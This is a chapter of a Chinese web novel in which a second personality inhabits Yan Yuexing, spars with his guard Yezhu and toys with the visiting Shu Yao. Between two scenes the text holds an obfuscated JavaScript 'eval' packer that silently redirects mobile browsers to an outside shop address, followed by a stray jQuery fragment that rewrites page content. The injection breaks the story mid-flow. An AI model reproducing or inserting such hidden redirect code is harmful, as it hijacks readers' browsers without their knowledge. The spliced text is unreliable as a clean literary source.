“你越界了。”
突兀地,不拖泥带水,直指问题的提醒声自偏僻一角传来,“郎君令你好好扮演他,你倒是爱做些露馅的事情来。”
“打住!我可不欠他什么!再说了,小娘子受伤了,我可不得关心一下?”男子不复先前半靠着,手捂着口鼻,虚弱不堪的模样,漫不经心地看着夜竹,眼神、动作,皆含着挑衅。
眼看着这人用郎君的皮囊,做出这些复杂的感情,怎么看怎么别扭,夜竹索性偏过脑袋。
“再说了,他不是用那药用得挺顺手的。用了可就是反悔不了了,就得受着。”颜越珩嘴角噙着一丝笑,完全与这样貌不搭调,显得格外诡异。
“那还不是……”
颜越珩挑了挑眉,捕捉到一点他之前从未察觉到的特别之处。
同一副躯体,不管颜越珩嘴再怎么硬,他就是他,这是永远都改变不了的事实。虽然不知道那药给谁用了,总之,他还是得逞了。辛亏当时这人心高气傲,定下誓言,若是用了他的药,就要退让。
原以为对方会坚持很久,没想到还是破功。
见夜竹意识到自己的失态,马上闭口不言,冷脸相对。
“怎么不说了?”
“没什么好说的,总之,这些日子做好自己负责的事,不可露馅,要是露馅了……”
“要是露馅,还能杀了我不成。”用着开玩笑的话,说的话直切入夜竹的心,狠狠剖开,鲜血淋漓。
像是被说中心事,夜竹不自然地将头扭动,不再看颜越珩。果然,即便像是变了一个人,躯壳的深处依然是郎君。
只一眼便带着几分让人不寒而栗的威压。
“认赌服输,他答应我的也要做到,这都快入秋了,我的药铺呢?”
“药铺的位置还在筛选中。”
现在的情况,哪是能公然出去,还是以郎君的身份购买店铺。只能暂且先哄着这人,等风波过去,先看郎君的意思,再做决定。
“刚刚那人的声音听上去真是耳熟,好像在马车上见过,是个有趣的人,”明明方才还在说着药铺,倏忽又引到别的话题上,装作不经意间提及,“是叫舒窈吧?他的庭院里几乎从没让外人进来住过。”
说罢,男子将“舒窈”这个名字,挂在嘴边反复咂摸,似乎在认真思考着什么。
夜竹浑身一激灵,但还是装作若无其事,“郎君争取过,只不过后面出现一些问题。”
“难怪。所以你们就把舒家的那小娘子拐进来了?”
“你爱怎么想都行。”
夜竹极力否认,很快意识到自己言多必失,事实如何存在这人的幻想中。表面上毫不在乎,实则变着法套取郎君这段时间做了什么,和谁有过交集。
“不要问太多,做好郎君交代的事,谁也不亏。舒娘子要的东西是本就是郎君的,没有许可,明日想办法不要给出去。”
“你们不要在这打哑谜,一直东西东西的叫,就那么难以启齿?”男子流露出不耐烦,和难以理解对方在纠结什么。
“一卷诗集而已。”
“果然是和天之骄子待久了,说话都如此费劲!”
他还以为是啥宝贝,原就是一卷诗集,整个庭院大半都是颜越珩的书卷,就本诗集而已给舒窈又何妨?
“总之,拿回来就可,就算是本再寻常不过的书卷,也要郎君来做主,决定去留。”
“好。”
“郎君平日虽喜静,但长久待在庭院,不与颜家往来,到底会引人生疑,实在推不开,你还得去一趟。”
“好。”
“你就只会说这句话吗?”
“行,好,我会去。”
没成想这人还真老老实实回答,事出反常必有妖。
夜竹按住刀鞘,双手叉腰,试图用气势压力对方,想要从对方的眼睛看出一丝端倪。对方不回避,任由夜竹打量。一副坦坦荡荡,不做亏心事,不怕鬼敲门的架势。
暂时瞧不出,夜竹也不再纠结,临走前落下一句,“不要想着背地里搞小动作。”
警告的意味十足。
男子摊开手,同样回应对方,他手无缚鸡之力,怎会这样做。夜竹面对着男子,踏出门槛后,反手将门合上。
背过身后,谁也没看到,夜竹的疑惑之色,略微思索,“那衣裳怎么穿到舒娘子身上了?”
他还生怕出了差错,亲自一一核对,派人送往,怎么又会出现在这里?
严丝合缝关上后,另一边的颜越珩。
心底还是不以为然,现在,他是这具身体的主宰,他说得算。不管这主仆二人,承认不承认,或是幻想着他是不速之客,他都是颜越珩灵魂,融为一体,缺一不可,这辈子都别想摆脱。
颜越珩贪婪地吸气,惨淡的荷香携着冷风呼呼吹进,与屋子里的热流对冲,两相争夺下,终是在门窗紧闭后,落下尘埃。
虽被暂时困于这间屋子,但是自由呼吸的每一秒,都让他觉得无比畅快,甚至想让难得的感受无限延长。
颜越珩自意识到他的存在后,就极力隐藏自己的弱点,让他难找。
没成想此次清醒后,他倒是有些意外,宁愿死都不愿触碰肌肤缓解痛苦的人,居然会暂且屈服,用掌控权换取一粒药丸。
只要在颜越珩重新夺取前,找到他将药丸给予何人,就能破解,知晓颜越珩的软肋。
突然冒出的舒娘子,他有些猜测,可还不能完全确定,因为据先前的观察所看,颜越珩对舒窈可谓是提不起兴趣,甚至还有些厌恶。
颜越珩讨厌其他人的靠近,可对舒窈是手指碰到一点,都要用清水洗净,擦得皮肤生红,指腹泡白。
若不是有所了解,单凭颜越珩破天荒让舒窈住进来,他都要怀疑颜越珩对舒窈动了心,“千年铁树开花”。
不过,舒窈此人对他来说,还是有些用处。浮夸任性,从不把别人放在眼里,记得上次见面还是在马车,脑海里渐渐浮现舒窈向伸来的手,眉眼含笑,恰逢那时阳光正好,将她身上镀了层金,柔和美好。
隔着屏风,这次看不真切,与颜越珩的排斥不同,对她明日的到来,他有些隐隐地期待,希望对方可不要让他失望。
——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966814|210131||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如与颜越珩约定的那样,舒窈会来。
但前提是舒窈得先找件合眼的衣裳,没有欢颜在旁伺候,更要好好照顾自己。她坐在临时制作的简易妆台前。
颜越珩这里挑不出毛病,就是不太适合女子住,这“妆台”还是她用一面普通的妆匣内部的镜子,放在桌子上,简单应付的。
索性,还有合身的衣裳以慰她跌落到谷底的心情。
打开衣柜,舒窈左翻右找,撇着嘴,足足有近十套衣裳,竟只挑得出一身符合她的衣裳,可惜,这几日就穿在身上了。
一连几天都穿一样的,难免会失了上风。不说如同在舒家一般,但是好歹维持一些体面,尤其还是在那家伙面前。
可是这些衣裳素雅白净,鲜少有色着,料子算不上上乘,可也算不错,淡得几乎看不见烟火气。全然不是舒窈往日爱穿的绮罗艳色。她指尖抚过柔软的衣料,眉头轻轻蹙起。
但她很快清醒过来,时间不等人,容不得她继续挑挑拣拣,衣裳该换下,没有锦缎华衣,舒适得体也挺好的。
舒窈咬了咬唇,万般不情愿地从中拣出一件换上。和先头那件一般,穿上后,脖颈后总觉得磨得慌。她叹了口气,抬手理了理衣襟,用根木簪松松将头发挽起。
踏上几日都走过的长廊,每每将要到门口,她都会被夜竹拦下。
今时不同往日,她一路畅行无阻,来到门前,轻轻叩响。
“进来。”
步入后,颜越珩还是和昨天一样,躺在榻前,斜倚着床靠。不知道是不是自己的错觉,舒窈总觉得,隔着屏风也无法让人忽视对方将她从上到下打量的眼神。
还有点似有若无的玩味。
果然是在装病。
“舒娘子,今日这一身倒是格外特别。”
尾音拖长,更添几分散漫。
果然是在打量她。
“再怎么特别也比不上郎君,一夜药到病除,来得奇特。怕是京城里的大夫都得想您的大夫好好请教。”
很好,还是一如既往地不相让。
话音落下,空气骤然静了一瞬。
榻上之人低低笑出声,那笑声并不似往日颜越珩那般清冷克制,反倒松弛随意,带着几分戏谑,听得舒窈心头微生异样。
“七日。”
莫名其妙冒出这句话,令舒窈不大听明白。
“还记得上次舒娘子答应我七日修复好书卷,时至今日,我都未曾见到书卷。也不知舒娘子是否说话算话,”颜越珩转念一想,“不对,舒娘子该是说话算话。”
男子说得轻快随性,这人干嘛抢她的词儿。
提到七日,舒窈恍然大悟,想起来在大街上救人后,她所答应的。
“一码归一码,价不对等!”
比起一本除了内容新奇,再普通不过的诗集,对方居然想交换,明眼人都知道行不通!
很奇怪,现在的颜越珩很奇怪。
舒窈不是没见过行事与平时大相径庭的颜越珩,今日的颜越珩就如同那天一般。
等等。
像那日一样。